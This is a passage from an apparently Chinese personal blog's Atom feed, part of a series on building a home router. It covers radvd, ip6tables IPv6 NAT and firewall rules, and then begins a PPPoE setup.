&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;  netmask&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 64&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在可以配置RA了。安装RA服务端&lt;code&gt;apt install radvd&lt;&#x2F;code&gt;后，编辑&lt;code&gt;&#x2F;etc&#x2F;radvd.conf&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;interface br0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  AdvSendAdvert on;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  AdvManagedFlag on;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  AdvOtherConfigFlag on;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  MinRtrAdvInterval 5;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  MaxRtrAdvInterval 15;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  prefix fdeb:6802:6817:1433::&#x2F;64 {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   AdvOnLink on;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   AdvAutonomous on;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  };&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  RDNSS fdeb:6802:6817:1433::1 {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  };&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;};&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此外，还需要做一些防火墙的配置。我们把之前的&lt;code&gt;iptables_helper&lt;&#x2F;code&gt;复制一份为&lt;code&gt;ip6tables_helper&lt;&#x2F;code&gt;，并做一些修改。之后，在启动脚本中添加这么几行：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip6tables_zone_member_add&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Wan tun0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip6tables_zone_member_add&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Wan wlan0wan&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这几行的目的就不说啦，熟门熟路的。现在在所有终端的防火墙上加一条规则：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip6tables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -I&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; INPUT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; eth0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ipv6-icmp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ACCEPT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这是因为RA依赖ICMPv6。现在重启所有路由和终端的网络服务，看看所有设备能否获得我们设定的子网前缀的地址，能否互相连通。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wai-wang-he-natpei-zhi&quot;&gt;外网和NAT配置&lt;&#x2F;h2&gt;
&lt;p&gt;接下来我们开始配置转发和NAT，不过在此之前，先从rc.local中注释掉所有的命令，因为要升级内核到4.4.34版本，这是因为Linux在3.9.0版本后才从内核支持NATv6，而我的发行版在3系并没有支持到3.9。&lt;&#x2F;p&gt;
&lt;p&gt;升级后记得调整你的所有脚本，确定正常工作之后，就可以尝试配置转发了。首先我们调整一个参数：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;net.ipv6.conf.all.accept_ra=2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;net.ipv6.conf.default.accept_ra=2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;为什么要调整这个参数呢？我们来看下&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.kernel.org&#x2F;doc&#x2F;Documentation&#x2F;networking&#x2F;ip-sysctl.txt&quot;&gt;文档&lt;&#x2F;a&gt;中对这个参数的说明：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;accept_ra - INTEGER&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; Accept Router Advertisements; autoconfigure using them.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; It also determines whether or not to transmit Router&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; Solicitations. If and only if the functional setting is to&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; accept Router Advertisements, Router Solicitations will be&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; transmitted.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; Possible values are:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  0 Do not accept Router Advertisements.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  1 Accept Router Advertisements if forwarding is disabled.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  2 Overrule forwarding behaviour. Accept Router Advertisements&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    even if forwarding is enabled.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; Functional default: enabled if local forwarding is disabled.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       disabled if local forwarding is enabled.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由于我的网络是依靠RA下发地址的，而我还要做转发，所以必须这样设置。当然，dnsmasq中要做好处理，不要让错误的ra扩散到WAN接口上去。此外别忘了：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;net.ipv6.conf.all.forwarding=1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;net.ipv6.conf.default.forwarding=1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从而启用转发。&lt;&#x2F;p&gt;
&lt;p&gt;IPv6的外网配置在第一篇文章中就说过一部分了，现在你的IPv6外网实际应该处于连通状态，因此不再细谈如何配置接入，而是要看看如何配置防火墙。还记得之前的&lt;code&gt;0001pppoe_ipv4_start&lt;&#x2F;code&gt;吗？我们去&lt;code&gt;ip6-up.d&lt;&#x2F;code&gt;新建一个&lt;code&gt;0001pppoe_ipv6_start&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#!&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# Import scripts&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SCRIPT_ROOT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;root&#x2F;scripts&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;source&lt;&#x2F;span&gt;&lt;span&gt; $SCRIPT_ROOT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;ip6tables_helper&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#echo Interface: $1 &amp;gt; &#x2F;dev&#x2F;kmsg&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#echo Local IP:  $4 &amp;gt; &#x2F;dev&#x2F;kmsg&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#echo Remote IP: $5 &amp;gt; &#x2F;dev&#x2F;kmsg&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# Base rules&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip6tables_init&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# Create zones&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip6tables_zone_create&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Wan&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip6tables_zone_create&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Lan&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip6tables_zone_member_add&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Wan&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; $1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip6tables_zone_member_add&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Lan br0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip6tables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ZoneWanInput&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ipv6-icmp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ACCEPT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip6tables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ZoneLanInput&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ACCEPT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip6tables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ZoneLanForward&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ACCEPT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip6tables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; nat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ZoneWanPostrouting&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; MASQUERADE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# fix mss problems&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip6tables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; mangle&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -X&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip6tables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; mangle&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; FORWARD&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; tcp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; --tcp-flags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; SYN,RST SYN&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; TCPMSS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; --clamp-mss-to-pmtu&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意我们允许了WAN上的ICMP，理由同上。现在再次重新启动所有终端，检查：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;所有终端可以自动获得&lt;code&gt;fdeb:6802:6817:1433::&#x2F;64&lt;&#x2F;code&gt;下的地址&lt;&#x2F;li&gt;
&lt;li&gt;所有终端可以用&lt;code&gt;fdeb:6802:6817:1433::&#x2F;64&lt;&#x2F;code&gt;的地址与路由器&lt;code&gt;fdeb:6802:6817:1433::1&lt;&#x2F;code&gt;通信&lt;&#x2F;li&gt;
&lt;li&gt;测试&lt;code&gt;curl -6nvLI ipv6.google.com&lt;&#x2F;code&gt;应该返回正常结果（如果你认真配置了DNS的话）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;现在去&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;test-ipv6.com&#x2F;&quot;&gt;测试&lt;&#x2F;a&gt;一下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;garbage-router-3&#x2F;.&#x2F;ipv6-result.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;garbage-router-3&#x2F;.&#x2F;wireless-ipv6.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;至此，网络相关的所有主要配置都结束了。回顾一下我们的目标：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;del&gt;PPPoE接入互联网&lt;&#x2F;del&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;del&gt;VPN接入国外网络以及流量区分&lt;&#x2F;del&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;del&gt;网络和运行状态监视（via HTTP）&lt;&#x2F;del&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;del&gt;LAN中的IPv6访问&lt;&#x2F;del&gt;&lt;&#x2F;li&gt;
&lt;li&gt;启动中关闭LAN交换机&lt;&#x2F;li&gt;
&lt;li&gt;启动时更改WAN接入方式，以及运行状态监视（via LCD）&lt;&#x2F;li&gt;
&lt;li&gt;备用电源供应，RTC时钟和交换机配置保存&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;后几个都需要一些软硬件改动才能实现，因此更新速度会很慢。&lt;&#x2F;p&gt;
&lt;p&gt;等不起编译了，睡觉。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>菜鸡路由器拼装之路（2）：PPPoE+科学上网及Dashboard</title>
        <published>2017-04-27T00:00:00+00:00</published>
        <updated>2017-04-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/garbage-router-2/"/>
        <id>https://blog.iret.xyz/posts/garbage-router-2/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/garbage-router-2/">&lt;p&gt;上一篇文章中，我们已经配置好了一个最基础的网关。然而学校情况比较特殊，需要我们PPPoE上网。此外，我还有一个可以科学上网的虚拟专用网连接资源，也希望配置到路由器上。另外，为了让资源访问更方便，我还要建立一个Dashboard。这篇文章我们就来完成这个操作。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pppoeshang-wang&quot;&gt;PPPoE上网&lt;&#x2F;h2&gt;
&lt;p&gt;上一篇文章中，我们决定将VLAN做如下规划：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;eth0.100 与wlan1lan桥接，局域网&lt;&#x2F;li&gt;
&lt;li&gt;eth0.200 外网PPPoE&lt;&#x2F;li&gt;
&lt;li&gt;eth0.300 外网DHCP（暂时不做配置）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;现在就来配置eth0.200。用&lt;code&gt;apt&lt;&#x2F;code&gt;安装好&lt;code&gt;pppoe&lt;&#x2F;code&gt;这个包之后，我们用这条命令来探测一下当前网内有哪些提供商：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;root@router ~ # pppoe -I eth0.200 -A&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Access-Concentrator: PPPOE_01-AC&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;AC-Ethernet-Address: da:3e:79:8f:cf:d0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来就可以写PPPoE的配置了。在&lt;code&gt;&#x2F;etc&#x2F;ppp&#x2F;peers&#x2F;&lt;&#x2F;code&gt;下新建一个名称为&lt;code&gt;PPPOE_01-AC&lt;&#x2F;code&gt;的文件，写入如下配置：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;plugin rp-pppoe.so  # PPPoE插件&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;eth0.200            # 网络端口&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;#defaultroute       # 不要让他添加默认路由。一会我们自己还要修改&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;#connect &#x2F;bin&#x2F;true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;+ipv6               # 启用IPv6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来，我们用下面这个命令，测试一下网络是否正常：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ip link set dev eth0.200 up&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;poff PPPOE_01-AC&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pon PPPOE_01-AC user &amp;lt;username&amp;gt; password &amp;lt;password&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果一切正常的话，通过&lt;code&gt;ip addr&lt;&#x2F;code&gt;，你应该可以看到你已经被分配到了一个IPv4和IPv6地址。如果你再手动添加一条默认路由，就可以上网了。&lt;&#x2F;p&gt;
&lt;p&gt;接下来，我们配置一下防火墙。在&lt;code&gt;&#x2F;etc&#x2F;ppp&#x2F;ip-up.d&#x2F;&lt;&#x2F;code&gt;下放一个&lt;code&gt;0001pppoe_ipv4_start&lt;&#x2F;code&gt;，并加上执行权限，这样这个文件会在建立IPCP链路之后被执行。我的习惯是在&lt;code&gt;&#x2F;root&#x2F;scripts&#x2F;&lt;&#x2F;code&gt;下建立这个文件，然后做一个软链接。文件的内容是这样的：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#!&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# Import scripts&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SCRIPT_ROOT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;root&#x2F;scripts&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;source&lt;&#x2F;span&gt;&lt;span&gt; $SCRIPT_ROOT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;iptables_helper&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#echo Interface: $1 &amp;gt; &#x2F;dev&#x2F;kmsg&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#echo Local IP:  $4 &amp;gt; &#x2F;dev&#x2F;kmsg&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#echo Remote IP: $5 &amp;gt; &#x2F;dev&#x2F;kmsg&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# Add default route&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
